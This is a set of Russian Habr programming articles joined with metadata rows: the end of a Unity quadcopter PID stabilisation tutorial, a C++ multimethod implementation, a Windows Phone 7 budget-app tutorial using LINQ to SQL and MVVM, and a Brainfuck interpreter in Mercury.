dYaw -= Math.Ceiling (Math.Floor (dYaw / 180.0) / 2.0) \* 360.0;
//1 и 2 мотор впереди
//3 и 4 моторы сзади
double motor1power = throttle;
double motor2power = throttle;
double motor3power = throttle;
double motor4power = throttle;
//ограничитель на мощность подаваемую на моторы
double powerLimit = throttle > 20 ? 20 : throttle;
//управление тангажем:
//на передние двигатели подаем возмущение от регулятора
//на задние противоположное возмущение
double pitchForce = - pitchPID.calc (0, dPitch / 180.0);
pitchForce = pitchForce > powerLimit ? powerLimit : pitchForce;
pitchForce = pitchForce < -powerLimit ? -powerLimit : pitchForce;
motor1power += pitchForce;
motor2power += pitchForce;
motor3power += - pitchForce;
motor4power += - pitchForce;
//управление креном:
//действуем по аналогии с тангажем, только регулируем боковые двигатели
double rollForce = - rollPID.calc (0, dRoll / 180.0);
rollForce = rollForce > powerLimit ? powerLimit : rollForce;
rollForce = rollForce < -powerLimit ? -powerLimit : rollForce;
motor1power += rollForce;
motor2power += - rollForce;
motor3power += - rollForce;
motor4power += rollForce;
//управление рысканием:
double yawForce = yawPID.calc (0, dYaw / 180.0);
yawForce = yawForce > powerLimit ? powerLimit : yawForce;
yawForce = yawForce < -powerLimit ? -powerLimit : yawForce;
motor1power += yawForce;
motor2power += - yawForce;
motor3power += yawForce;
motor4power += - yawForce;
GameObject.Find ("Motor1").GetComponent().power = motor1power;
GameObject.Find ("Motor2").GetComponent().power = motor2power;
GameObject.Find ("Motor3").GetComponent().power = motor3power;
GameObject.Find ("Motor4").GetComponent().power = motor4power;
}
//как советуют в доке по Unity вычисления проводим в FixedUpdate, а не в Update
void FixedUpdate () {
readRotation ();
stabilize ();
}
}
public class PID {
private double P;
private double I;
private double D;
private double prevErr;
private double sumErr;
public PID (double P, double I, double D) {
this.P = P;
this.I = I;
this.D = D;
}
public double calc (double current, double target) {
double dt = Time.fixedDeltaTime;
double err = target - current;
this.sumErr += err;
double force = this.P \* err + this.I \* this.sumErr \* dt + this.D \* (err - this.prevErr) / dt;
this.prevErr = err;
return force;
}
};
```
Добавляем этот скрипт в наш объект Quadrocopter и у нас появляется возможность задать газ и необходимые углы поворота. У меня при газе 22.3 квадрик медленно садится. Чтобы протестировать стабилизацию по углам, можно в Transform квадрокоптера задавать отдельно углы и смотреть как он принимает горизонтальное положение, в случае если в target… параметрах скрипта указаны нулевые углы.
Задача прикрутить виртуальный джойстик, красивую модельку и окружение я оставляю инициативному читателю.
Как это получилось у меня можно попробовать по [ссылке на андроид пакет](http://parilo.ru/Quadrocopter2.apk).
Код того, что сделано в статье можно посмотреть на [гитхабе](https://github.com/parilo/quadrocopter-unity-opencv).
|
https://habr.com/ru/post/267791/
| null |
ru
| null |
# Пишем мультиметоды из Lisp в С++
Что и главное зачем мы собираемся делать?
Начнём с примера, допустим у нас есть интерфейс Animal, который поддерживают классы Cat, Dog, и Frog.
И мы хотим определить операцию interact(взаимодействие) между двумя Animal.
```
void interact(Cat, Dog) { std::cout << "fight" << std::endl; }
void interact(Dog, Cat) { interact(Cat{}, Dog{}); }
void interact(Cat, Frog) { std::cout << "Cat licks Frog" << std::endl; }
```
Но если мы попробуем это использовать, то возникнет громадная проблема:
```
void foo(Animal* a, Animal* b) { ??? }
```
когда-то в стандарт С++ предлагали языковую поддержку этогоПредложение в стандарт С++ от создателя языка - <https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2216.pdf>
Там же можно увидеть больше use cases
В стандартной библиотеке С++ нет возможности сделать это никак кроме вереницы 'if' с dynamic\_cast, что просто ужасно и выглядит и работает, к тому же совершенно не масштабируемо, после добавления одной функции достаточно забыть изменить код в других местах и в коде логическая ошибка.
Вы можете сказать - С++17 же есть std::variant! Кажется он решает эту проблему!
И нет, он не решает эту проблему полностью.
* использование std::variant предполагает, что вы типы храните в variant, что далеко не всегда так, у вас может быть иерархия на virtual функциях, своя собственная как llvm-type-id или использовано стирание типов
* нужно знать определения всех типов в месте создания variant, что далеко не всегда возможно
* если подать в visit больше одного варианта, то есть риск схлопнуть вселенную, т.к. сложность компиляции этой конструкции O(N\*M\*X\*...) где N M X это количества типов в вариантах
Вот живой пример: <https://godbolt.org/z/633eh11rc>
Таким образом, мы хотим на основе динамических типов аргументов выбирать во время выполнения программы нужную функцию и вызывать её. То есть делать runtime overload resolution.
Это называется мультидиспетчеризацией - виртуальные функции из С++ это частный случай, одиночная диспетчеризация.
как это выглядит в Lisp Теперь подумаем, как бы мы вообще могли такое сделать?
Мультиметод можно представить как таблицу, где ключ это набор типов аргументов, а значение - указатель на функцию.
Но что такое ключ из типов? Нужно как-то отобразить типы в значение, которое может быть ключом в map.
Тут есть несколько идей:
Вариант №1:
std::type\_info - сразу нет. Причины:
* эта вещь не гарантирует буквально ничего, .name() полученный из неё согласно стандарту С++ может изменяться от вызова к вызову (!)
* нельзя использовать это в constexpr контексте, а мы бы хотели constexpr map
* во многих проектах использование typeid запрещено
* нет гарантий, что сравнений type\_info будет правильно работать при подключении dll
Вариант №2:
```
template
constexpr void\* type\_desc == &type\_desc;
```
Подобное странное рекурсивное определение действительно работает и даёт уникальные указатели для каждого типа, известные на компиляции.
Но и тут есть проблемы:
* операции сравнения < > на указателях на разные объекты во время компиляции unspecified, поэтому использовать её нельзя.
* если мы подключили типы через .dll, то у них этот идентификатор будет другим и мы будем неверно искать функцию в таблице
Вариант №3:
Сравнение по именам, полученным из макроса \_\_PRETTY\_FUNCTION\_\_ и его аналогов на других компиляторах.
* это работает с dll
* можно посмотреть имя типа прямо во время отладки
* если это недоступно, то будем использовать вариант №2
Кстати, наиболее эффективно оказывается хранить имена как C-string, потому что для поиска в map нужна операция <, которая выполняется для таких строк даже быстрее, чем для string\_view. Представим, что этот тип мы реализовали:
```
struct descriptor_t {
constexpr descriptor_t(const char* name);
constexpr auto operator<=>(const descriptor_t&);
};
// уникальный дескриптор для каждого типа
template
constexpr inline descriptor\_t descriptor\_v = ...;
```
Теперь нам остаётся всего ничего:
* достать информацию из функций-перегрузок нашего мультиметода
* сложить эту информацию в constexpr map, Foo>
* потом при вызове генерировать ключ из нескольких descriptor\_t, полученных из входных аргументов;
* находить функцию в таблице и вызывать. Если такой функции нет, будем возвращать std::nullopt
* дополнительное: можно проверять на компиляции и на рантайме const-correctness вызова, что задача нетривиальная, но необходимая
пишем constexpr flat map используя стандартные алгоритмы
```
template >
struct flat\_map {
private:
std::array keys;
std::array values;
public:
constexpr flat\_map(std::array, N> arr) {
// sort by keys
std::ranges::sort(arr, [](auto& l, auto& r) { return l.first < r.first; });
std::ranges::copy(arr | keys, keys.begin());
std::ranges::copy(arr | value, values.begin());
}
constexpr auto find(const Key& key) const noexcept {
auto it = std::ranges::lower\_bound(keys, key, Compare{});
// lower\_bound returns such 'it' for which 'key' <= \*it, so check if it true, that key < \*it
if (it == keys.end() || Compare{}(key, \*it))
return values.end();
return std::next(values.begin(), std::distance(keys.begin(), it));
}
constexpr auto end() const noexcept {
return values.end();
}
};
```
Ключом в этой map будет массив descriptor\_t длиной в количество аргументов мультиметода.
Но как же получить информацию о функциях-перегрузках?
Для этого напишем специализации функций для разных сигнатур функций(задачу нам упрощает тот факт, что это могут быть только указатели на функции или лямбды без захвата):
достаём информацию из функций
```
template
struct traits {};
template
struct traits {
static constexpr bool is\_noexcept = false;
using all\_args = type\_list;
using decay\_args = type\_list...>;
static constexpr std::size\_t args\_count = sizeof...(Args);
};
```
Только не забудьте потом сделать специализации для const, noexcept, const noexcept, & , && callable объектов, volatile, указателей на функции и конечно же C-variadic функций(методов, callable объектов...)
Кстати, библиотека не поддерживает C-variadic функции, потому что это было бы безумием
Так, с ключами в map мы определились. Но что будет там значением? Ведь функции разные и типы у них соответственно разные. Мы бы хотели привести все функции к одной сигнатуре - они должны возвращать ResultType и принимать array, а потом кастовать этот массив к нужным типам и вызывать реальную функцию
стираем сигнатуру функции
```
// передаём тип функции и типы аргументов
template
result\_type match\_invoker(const std::array& args) {
return std::apply(
[](auto\*... void\_ptrs) {
return Foo{}(static\_cast(\*reinterpret\_cast(void\_ptrs))...);
},
args);
}
```
Тут опять же всё немного упрощённо
Теперь понятно - значением в таблице будет указатель на функцию match\_invoker для каждой из функций. Используя это напишем конструктор для мультиметода. А назовём это дело visit\_invoke, т.к. в std:: уже есть и visit и invoke, а тут явно напрашиваются аналогии.
Отмечу, что мы считаем полиморфным тип такой, у которого динамический type descriptor может отличаться от descroptor\_v известный для его типа на компиляции.
Поэтому заметим, что пользователь может захотеть использовать разные полиморфные иерархии - виртуальные функции, свои type-id(такие как LLVM-type-id), стирание типов, даже std::variant он может интерпретировать как полиморфный тип. Поэтому добавим policy-тип PolyTraits, который будет говорить шаблону visit\_invoke\_fn:
* как получить дескриптор типа для какого-то Value
* как получить адрес объекта для какого-то Value
пример poly\_traits для std::variant
```
struct std_variant_poly_traits {
// для std::variant, тут мы считаем его полиморфным типом
template
static descriptor\_t get\_type\_descriptor(const std::variant& v) {
return std::visit([](T&& v)
{ return descriptor\_v; }
, v);
}
// для остальных типов, которые мы считаем не полиморфными
template
static descriptor\_t get\_type\_descriptor(const T&) {
return descriptor\_v;
}
// тоже самое для адресов(упрощённо)
template
static const void\* to\_address(const T& v) {
return std::addressof(v);
}
template
static const void\* to\_address(const std::variant& v) {
return std::visit([](const auto& v) -> const void\*
{ return std::addressof(v); }
, v);
}
};
```
Теперь используя все полученные знания пишем конструктор мультиметода
пишем конструктор для мультиметода
```
template
struct visit\_invoke\_fn {
private:
template
static constexpr std::pair make\_key\_value\_pair\_for() {
return [](aa::type\_list) {
return std::pair{key\_type{descriptor\_v...}, &match\_invoker};
}(typename traits::all\_args{}); // INVOKED HERE
}
public:
constexpr visit\_invoke\_fn(Traits t = Traits{})
: map({make\_key\_value\_pair\_for()...}), poly\_traits(std::move(t)) {
}
```
Ну и наконец главный метод .resolve, выполняющий разрешение перегрузки на рантайме.
Обратите внимание, мы принимаем любые аргументы и с помощью Traits(policy-типа) определяем какой у type\_descriptor, и с помощью них же получаем адрес реального объекта из полиморфного.
Это позволяет поддерживать любые возможные пользовательские полиморфные иерархии:
```
(в коде опущены все проверки для простоты)
template
std::optional resolve(Args&&... args) const {
key\_type key{poly\_traits.get\_type\_descriptor(args)...};
auto it = map.find(key);
if (it == map.end()) [[unlikely]]
return std::nullopt;
// заранее мы стёрли тип функции до состояния Ret(\*)(array)
return (\*it)({poly\_traits.to\_address(args)...});
}
```
А теперь время использовать это!
```
struct spaceship;
struct asteriod;
struct star;
std::string ship_asteroid(spaceship s, asteroid a);
std::string ship_star(spaceship s, star);
std::string star_star(star a, star b);
std::string ship_ship(spaceship a, spaceship b);
// Create multidispatcher
constexpr inline auto collision = aa::make_visit_invoke<
// с С++20 можно использовать здесь и лямбды, но так выглядит проще
ship_asteroid,
ship_star,
star_star,
ship_ship
>();
...
// Perform runtime overload resolution
std::optional foo(any\_witha, any\_with **b) {
return collision.resolve(a, b);
}**
```
Итоги
-----
Мы добились возможности писать мультиметоды так, что они эффективнее, удобнее и лучше масштабируются, чем куча if или std::visit, наша реализация разрешает перегрузку за O(1) от количества возможных типов(то есть не зависит от их количества, в отличие от std::visit), также этот способ может быть использован не только с variant, но и с любыми другими полиморфными типами - один из них кстати any\_with<...>, используемый в примере.
Кроме того, благодаря poly\_traits мы можем использовать это даже для std::variant и решить проблему с невероятной сложностью компиляции std::visit, то есть мы реализовали удобный инструмент паттерн-матчинга
Разумеется в статью не влезли все возможности и подробности(например можно поддерживать перегрузки по количеству аргументов)
Если вы заинтересованы, то всегда можете посмотреть исходный код здесь: <https://github.com/kelbon/AnyAny>
|
https://habr.com/ru/post/703846/
| null |
ru
| null |
# Разрабатываем «Домашний бюджет». Часть 1
Данная статья является первой частью потенциальной серии, в которой будет описан процесс создания приложения для удобного ведения домашнего бюджета на WP7 с самого начала. При этом в разработке будут использованы разнообразные API и возможности платформы с целью максимального их охвата. В тоже время программа будет абсолютно юзабельной (как минимум один постоянный юзер у неё будет), и мусора используемого исключительно в академических целях не будет.
Выбор типа приложения связан с тем, что первая купленная мной программа в marketplace была именно бюджетилкой но некоторых полезных функций (например автоматического бекапа на SkyDrive и т.п.) в ней нет и не планируются.
##### **Принципы разработки**
Функционал будет наращиваться постепенно, небольшими итерациями длительностью в 10-14 дней, из которых 3-5 дней выделяются на обкатку прошлой версии, 1 день на мозговой штурм а остальное на реализацию задуманного, тестирование и оформление статьи.
Так как создаваемое приложение я планирую использовать повседневно вместо аналогичной утилиты – функционалу придётся быть именно тем, который необходим, а не тем, который проще написать.
##### **Первая итерация: план**
В первую очень мы должны уметь добавлять транзакции и иметь хотя-бы базовые категории, ибо иначе за неделю использования образуется небольшая помойка, которую даже не захочется открывать.
В данной статье мы подробно (возможно даже слишком) рассмотрим процесс создания БД и процесс добавления категорий. Процесс добавления транзакций мы рассматривать не будем так как он практически на 100% аналогичен работе с категориями и его рассмотрение раздуло бы статью до уж слишком больших размеров. Также мы не рассмотрим процесс редактирования категорий, но учитывая используемую модель работы – это займёт +- 10 минут.
При необходимости эти темы можно будет мельком пробежать в следующей статье или пропустить.
Соответственно мы рассмотрим такие вопросы:* Базовые принципы разработки под WP7
* ~~Некоторые основы Metro~~[1]
* Работа с SQLCE базой данных и создание модели по принципу code-first
##### **Пререквизиты**
* Базовые знания .NET и C#
* [Windows Phone SDK 7.1](http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=27570)
* [Silverlight for Windows Phone Toolkit](http://silverlight.codeplex.com/) (версия от [ноября 2011](http://silverlight.codeplex.com/releases/view/75888))
* [Prism for Phone updated for Mango](http://compositewpf.codeplex.com/releases/view/75760)[2]
##### **Разработка: создание БД**
*На случай если у кого-то возникнет желание использовать данную статью в роли урока – после каждого логически завершённого и более-менее важного этапа будет приведена ссылка на архив с результатами. Все исходники на [SkyDrive](https://skydrive.live.com/redir.aspx?cid=6ea65959da3149f3&resid=6EA65959DA3149F3!863&parid=root)*. Отдельные файлы в случае сокращений будут представлены на pastebin.
Выбирая структуру приложения я ориентируюсь в первую очередь на логическое разделение выполняемых функций по проектам. Исходя из этих соображений для описания БД и всех типов данных создаём отдельный проект Entities не забываем добавить в References System.Data.Linq и Microsoft.Practices.Prism. [Solution тут](https://skydrive.live.com/redir.aspx?cid=6ea65959da3149f3&resid=6EA65959DA3149F3!868&parid=6EA65959DA3149F3!867).
*Сразу оговорюсь – под понятием транзакции я подразумеваю финансовую транзакцию, а не транзакцию в БД.*
При создании БД мы будем использовать подход code-first[3].Для сегодняшнего задания нас устроят аж целые две таблицы – Transactions и Categories. Создадим две пустые таблицы и добавим их в БД.
**Transaction.cs**
```
[Table(Name = "Transactions")]
public class Transaction : NotificationObject
```
**Category.cs**
```
[Table(Name = "Categories")]
public class Category : NotificationObject
```
**Database.cs**
```
public class Database : DataContext
{
private static string DBConnectionString = "Data Source=isostore:/Database.sdf";
public Database()
: base(Database.DBConnectionString)
{
this.DeferredLoadingEnabled = true;
}
public Table Categories;
public Table Transactions;
}
```
*Даже не думайте делать таблицы в БД свойствами а не полями. Я из-за стилистической привычки использовать для public’а свойства убил около часа на попытки понять почему БД вообще не работает.*
Здесь транзакции и категории наследуют определённый в Prism’е NotificationObject для нормального взаимодействия с UI в будущем. Кстати, мы при разработке используем паттерн MVVM.
В конструкторе БД выставляем флаг DefferedLoadingEnabled для отключения автоматической загрузки связаных объектов из БД. Нужно будет – отдельно укажем.
Приступаем к формированию содержимого таблиц. В результате у нас должно получиться что-то подобное:
Самые интересные моменты в **Transaction.cs**[](http://pastebin.com/ezYbG9Ze):
```
[Column(IsPrimaryKey = true)]
public Guid ID
{ ... }
...
private EntityRef category;
[Association(Name = "FK\_Transactions\_Category", Storage = "category", ThisKey = "CategoryID", IsForeignKey = true)]
public Categories.Category Category
{
get
{
return this.category.Entity;
}
set
{
Categories.Category previousValue = this.category.Entity;
if (((previousValue != value) || (this.category.HasLoadedOrAssignedValue == false)))
{
if ((previousValue != null))
{
this.category.Entity = null;
previousValue.Transactions.Remove(this);
}
this.category.Entity = value;
if ((value != null))
{
if ((value.AddedTransactions == null) || (!value.AddedTransactions.Contains(this)))
{
value.Transactions.Add(this);
}
this.CategoryID = value.ID;
}
else
{
this.category = new EntityRef();
}
this.RaisePropertyChanged(() => this.Category);
}
}
}
```
Параметр ID – столбец таблицы и первичный ключ. Остальные столбцы также задаются атрибутом Column. Более подробно про Attribute-based mapping можно почитать на [msdn](http://msdn.microsoft.com/en-us/library/bb386971.aspx).
Category вместе с CategoryID отвечают за привязку транзакций к категориям и на этом примере мы создали внешний ключ FK\_Transactions\_Category. Причина раздутого сеттера – при назначении какой-то транзакции родительской категории мы должны из предыдущей родительской категории удалить транзакцию, а в новую – добавить. Грубо говоря – Navigation Property из EF. В свою очередь в Category для реализации этого используется минимум кода.
**Category.cs**[](http://pastebin.com/L8nkPxNE):
```
public EntitySet Transactions
{
get
{
if (this.transactions == null)
{
this.transactions = new EntitySet();
this.transactions.CollectionChanged += new System.Collections.Specialized.NotifyCollectionChangedEventHandler(this.OnTransactionsChanged);
}
return this.transactions;
}
...
}
...
private void OnTransactionsChanged(object sender, System.Collections.Specialized.NotifyCollectionChangedEventArgs e)
{
this.AddedTransactions = e.NewItems;
foreach (Transactions.Transaction t in e.NewItems)
{
t.Category = this;
}
this.AddedTransactions = null;
this.RaisePropertyChanged(() => this.Transactions);
}
```
По сути, в Category мы отлавливаем ситуацию когда не транзакции назначается категория, а в список транзакций категории добавляется новый элемент.
База готова. [Solution на SkyDrive](https://skydrive.live.com/redir.aspx?cid=6ea65959da3149f3&resid=6EA65959DA3149F3!870&parid=6EA65959DA3149F3!865).
##### **Разработка: создаём UI**
Проект Shell у нас создан как Windows Phone Application, то есть на данном этапе мы не будем использовать такие контролы как Pivot/Panorama. Взаимодействие пользователя с приложением будет происходить примерно по такой схеме:
*Для создания использовался Expression Blend with SketchFlow (не входит в бесплатный SDK) и шаблон sketchflow для WP7 ([CodePlex](http://wp7sketchflow.codeplex.com/))*
Эти экраны мы разобьём на такие View: New/Edit transaction, New/Edit category, Categories list, Transactions list, причём часть отвечающая за работу с транзакциями выносим в отдельный проект. [Solution на SkyDrive](https://skydrive.live.com/redir.aspx?cid=6ea65959da3149f3&resid=6EA65959DA3149F3!873&parid=6EA65959DA3149F3!865&authkey=!AF1kFORWHwEmhrE).
В первую очередь нам необходимо реализовать функционал просмотра списка категорий и добавление категорий. Ничего особенного в этом нет, НО так как мы стараемся делать упор на производительности – нам нужно будет немного доработать наш Database. Дело в том, что при просмотре списка категорий мы не собираемся ничего редактировать – нам нужно просто максимально быстро получить список категорий. Для этого мы внесём такую правку в **Database.cs**:
```
public Database(bool isReadOnly = false)
: base(Database.DBConnectionString)
{
if (!this.DatabaseExists())
{
this.CreateDatabase();
}
this.DeferredLoadingEnabled = true;
this.ObjectTrackingEnabled = !isReadOnly;
}
```
Тем самым при isReadOnly==true мы отключаем слежение за объектами контекста на предмет их изменения, что в среднем увеличивает скорость простого чтения более чем в 10 раз.
При создании UI одна из проблем с которой мы сталкиваемся – невозможность прицепить к ApplicationBarButton какой-либо Behavior (нам это нужно для биндинга к команде). В Prism.Interactions есть DependencyProperty ApplicationBarButtonCommand но у меня почему-то не заработало. Поэтому пришлось использовать вполне себе удобную библиотеку [AppBarUtils](http://appbarutils.codeplex.com/).
Интересные моменты из **CategoriesView.xaml**[](http://pastebin.com/Kc5LdxDc):
```
…
```
Чаще всего действиями кнопок будут переходы на другие страницы приложения и нам нужно сделать удобный механизм работы с навигацией из ViewModel. Удобный и относительно привычный (я когда-то работал с десктопным MVVM по подобному принципу) способ описан [вот здесь](http://blog.clauskonrad.net/2010/09/wp7-navigationservice-support-when.html). Похожий принцип мы и реализуем в нашем проекте Common создав класс ApplicationController. Также все наши View’s будут определены в статическом классе KnownPages:
```
public static class KnownPages
{
public const string AddCategory = "/Views/CategoryAddEditView.xaml?mode=Add";
public const string EditCategory = "/Views/CategoryAddEditView.xaml?mode=Edit&id={0}";
public const string ListCategories = "/Views/CategoriesView.xaml";
public const string CategoryDetails = "/Views/CategoryDetailsView.xaml?id={0}";
}
```
, a NavigateTo() из ApplicationController (таки мало осталось от оригинального) будет выглядеть так
```
public void NavigateTo(string url, params object[] data)
{
Uri address = new Uri(String.Format(url, data), UriKind.Relative);
PhoneApplicationFrame root = Application.Current.RootVisual as PhoneApplicationFrame;
root.Navigate(address);
}
```
Теперь, так как мы передаём параметр *mode=Add* на страничку AddEdit, нам необходимо во ViewModel отловить событие навигации и получить данные из строки. К сожалению, на данный момент я остановился на варианте переопределения метода OnNavigatedTo в CodeBehind’e и вызова соответствующего метода во ViewModel.
**CategoryAddEditView.xaml.cs**:
```
protected override void OnNavigatedTo(System.Windows.Navigation.NavigationEventArgs e)
{
base.OnNavigatedTo(e);
((CategoryAddEditViewModel)this.DataContext).OnNavigatedTo(this.NavigationContext, this.NavigationService.BackStack.First());
}
```
Как видно из кода – мы передаём не только навигационный контекст (откуда удобно выдёргивать параметры из адреса страницы), но и страничку с которой мы перешли на текущую.
Теперь пришла очередь реализовать процесс добавления категории. Обычная View и обычная ViewModel. Но есть два но. Первое – эти же M-V-VM мы будем использовать и для редактирования категорий (будет домашним заданием), соответственно из NavigationContext мы получаем и обрабатываем параметр mode. Второе – в WP7 для TextBox’а изменение значения свойства происходит только при потере фокуса элементом. Родными способами это не реализуется, поэтому для этого мы используем Prism (Файл CategoryAddEditView.xaml):
```
xmlns:prism="clr-namespace:Microsoft.Practices.Prism.Interactivity;assembly=Microsoft.Practices.Prism.Interactivity"
...
```
Сам процесс сохранения категории выглядит так:
**CategoryAddEditViewMode.cs**
```
public void SaveCategory()
{
if (!this.isEditMode)
{
this.model.AddCategory(this.Category);
ApplicationController.Default.GoBack();
}
}
```
На что стоит обратить внимание – мы не переходим на страничку CategoriesView а выполняем возврат на предыдущую страничку. Стоит обращать внимание на подобные переходы внутри приложения для того, чтобы пользователь не оказывался в недоумении не там где он предполагал после нажатия на кнопку Назад.
В **CategoryAddEditModel.cs** сохранение выглядит так:
```
public void AddCategory(Category cat)
{
using (Database db = new Database())
{
db.Categories.InsertOnSubmit(cat);
db.SubmitChanges();
}
}
```
Видно что отсутствуют какие-либо проверки и валидации – и это плохо. Но для первой статьи уже довольно много материала, и нам сейчас важнее закончить основной функционал и начать пользоваться программой – остальное сделаем между статьями или в следующих.
При возвращении на список категорий View и ViewModel не пересодаются, поэтому при переход со страницы списка на страницу добавления мы выставим флаг IsReloadPending а по возвращению обработаем и сбросим его.
**CategoriesViewModel.cs**:
```
private void AddCategory()
{
this.isReloadPending = true;
ApplicationController.Default.NavigateTo(KnownPages.AddCategory);
}
public void OnNavigatedTo(NavigationContext context, JournalEntry lastPage)
{
if (this.isReloadPending)
{
this.isReloadPending = false;
this.Categories = this.model.GetCategoriesList();
}
}
```
##### **Итоги**
За сегодня мы получили все нужные инструменты для работы с WP7, опробовали работу с БД, подготовили почву для дальнейшей разработки программы и обучения технологиями программирования для Windows Phone. Также мы столкнулись с парой косяков (ApplicationBar, TextBox) и преодолели их.
Да – мы не получили готовую для использования (просто в качестве сборщика данных) программу, но от этого этапа нас отделяет примерно 1-2 часа. Кому интересно – попробуют сами. [Solution на SkyDrive](https://skydrive.live.com/redir.aspx?cid=6ea65959da3149f3&resid=6EA65959DA3149F3!876&parid=6EA65959DA3149F3!865&authkey=!AMjYdovuqgijlYE).
Параллельно, те кто знаком с C# должны были понять что мобильная платформа от Microsoft довольно проста для обучения и легко может быть освоена самостоятельно.
В тоже время я понял что написание подобной статьи занимает довольно много времени. Статья писалась в формате дневника параллельно с написание приложения.
##### **Дальнейшие планы**
В следующей статье я бы хотел рассмотреть:* процесс создания вторичного Tile
* оптимизацию запуска приложения
* прототипирование приложения в SketchFlow
##### **Литература**
1. [WP7 UI/UX Notes](http://bowdenweb.com/wp/2011/05/windows-phone-7-ui-ux-notes.html)
2. [Developer's Guide to Microsoft Prism](http://msdn.microsoft.com/en-us/library/gg406140.aspx)
3. [Programming Guide (LINQ to SQL)](http://msdn.microsoft.com/en-us/library/bb399408.aspx)
|
https://habr.com/ru/post/138117/
| null |
ru
| null |
# Пишем интерпретатор Brainfuck на Mercury
Продолжая [неделю Brainfuck на хабре](http://habrahabr.ru/search/?q=brainfuck) и свои [эксперименты](http://habrahabr.ru/blogs/programming/112030/) с [Mercury](http://progopedia.ru/language/mercury/), написал свою версию интерпретатора. Заранее прошу извинить, что еще не представил «вступительную» статью о Mercury. На самом деле, она в процессе написания.
Пока же приведу код решения, который проиллюстрирует заодно несколько возможностей языка Mercury.
```
:- module bf.
:- interface.
:- import_module io.
:- pred main(io::di, io::uo) is det.
:- implementation.
:- import_module list, string, char, solutions, require, int.
:- type bf_cmd ---> plus; minus; step; back; print; cycle(list(bf_cmd)).
:- type bf_state ---> bf_state(
left :: list(int),
cell :: int,
right :: list(int)
).
hello_world = "++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++\
.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.\
------.--------.>+.>.".
squares_1_to_1000 = "++++[>+++++<-]>[<+++++>-]+<+[\
>[>+>+<<-]++>>[<<+>>-]>>>[-]++>[-]+\
>>>+[[-]++++++>>>]<<<[[<++++++++<++>>-]+<.<[>----<-]<]\
<<[>>>>>[>>>[-]+++++++++<[>-<-]+++++++++>[-[<->-]+[<<<]]<[>+<-]>]<<-]<<-\
]".
fib_1_to_100 = "+++++++++++\
>+>>>>++++++++++++++++++++++++++++++++++++++++++++\
>++++++++++++++++++++++++++++++++<<<<<<[>[>>>>>>+>\
+<<<<<<<-]>>>>>>>[<<<<<<<+>>>>>>>-]<[>++++++++++[-\
<-[>>+>+<<<-]>>>[<<<+>>>-]+<[>[-]<[-]]>[<<[>>>+<<<\
-]>>[-]]<<]>>>[>>+>+<<<-]>>>[<<<+>>>-]+<[>[-]<[-]]\
>[<<+>>[-]]<<<<<<<]>>>>>[+++++++++++++++++++++++++\
+++++++++++++++++++++++.[-]]++++++++++<[->-<]>++++\
++++++++++++++++++++++++++++++++++++++++++++.[-]<<\
<<<<<<<<<<[>>>+>+<<<<-]>>>>[<<<<+>>>>-]<-[>>.>.<<<\
[-]]<<[>>+>+<<<-]>>>[<<<+>>>-]<<[<+>-]>[<+>-]<<<-]".
prog_to_ast(Prog) = Ast :-
to_char_list(Prog, Chars),
solutions(pred(Ast_::out) is nondet :- ast(Ast_, Chars, []:list(char)), Asts),
( Asts = [], error("Program invalid (parse error)!")
; Asts = [Ast|_]
).
:- mode ast(out, in, out) is multi.
ast([plus|Cmds]) --> ['+'], ast(Cmds).
ast([minus|Cmds]) --> ['-'], ast(Cmds).
ast([step|Cmds]) --> ['>'], ast(Cmds).
ast([back|Cmds]) --> ['<'], ast(Cmds).
ast([print|Cmds]) --> ['.'], ast(Cmds).
ast([cycle(Cycle)|Cmds]) --> ['['], ast(Cycle), [']'], ast(Cmds).
ast([]) --> [].
execute_ast([], !State) --> [].
execute_ast([Cmd|Cmds], !State) --> execute_cmd(Cmd, !State), execute_ast(Cmds, !State).
execute_cmd(plus, bf_state(L,C,R), bf_state(L, C+1, R)) --> [].
execute_cmd(minus, bf_state(L,C,R), bf_state(L, C-1, R)) --> [].
execute_cmd(step, bf_state(L,C,R), bf_state([C|L], H, T)) --> {R = [], H=0, T=[]; R = [H|T]}.
execute_cmd(back, bf_state(L,C,R), bf_state(T, H, [C|R])) --> {L = [], H=0, T=[]; L = [H|T]}.
execute_cmd(print, S @ bf_state(_,C,_), S) --> print(char.det_from_int( C ):char).
execute_cmd(Cmd @ cycle(Cmds), !.S @ bf_state(_,C,_), !:S) -->
( {C \= 0} ->
execute_ast(Cmds, !S),
execute_cmd(Cmd, !S)
;
[]
).
execute_str(Prog) --> {Ast = prog_to_ast(Prog)}, execute_ast(Ast, bf_state([], 0, []), _).
main -->
execute_str(hello_world), nl,
execute_str(squares_1_to_1000), nl,
execute_str(fib_1_to_100).
```
И сразу вывод этой программы:
```
D:\stuff\test\mercury>bf.exe
Hello World!
0
1
4
9
16
25
36
49
64
81
100
121
... <остальные квадраты>
9025
9216
9409
9604
9801
10000
1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89
```
Немного о моем решении. Оно состоит из 2 шагов
1. преобразование текста brainfuck программы в [AST (abstract syntax tree)](http://en.wikipedia.org/wiki/Abstract_syntax_tree)
2. исполнение дерева AST
На перовом этапе из куска BF-кода, для примера, '+++>>[+-]<' получиться структура AST в виде списка [plus, plus, plus, step, step, cycle([plus, minus]), back]. За это отвечает *недетерминированный* предикат ast. Для тех, кому не вполне ясно это понятие, упрощенно поясню, что это такой предикат, который может возвратить более одного решения, и эти решения будут перебираться с помощью перебора с откатами (backtracking), пока все выражение, состоящее из этого и окружающего его предикатов, не будет истинно. На этом принципе основано удобство написания парсера, разбирающего текст программы методом поиска в глубину (хотя у этого подхода есть и немало недостатков, эта тема неплохо освещена в [этом харбратопике](http://habrahabr.ru/blogs/programming/99466/)). Стоит отметить, что этот этап наряду с разбором автоматически проверяет синтаксическую корректность (а именно, правильность скобочной структуры). В случае её неправильности цель ast(Ast\_, Chars, []:list(char)) закончится неудачей, и мы получим ошибку «Program invalid (parse error)!». Вторая ремарка: предикат ast написан в [DCG](http://ru.wikipedia.org/wiki/DC-%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0) нотации, которая поддерживается языком mercury так же как и многими традиционными прологами.
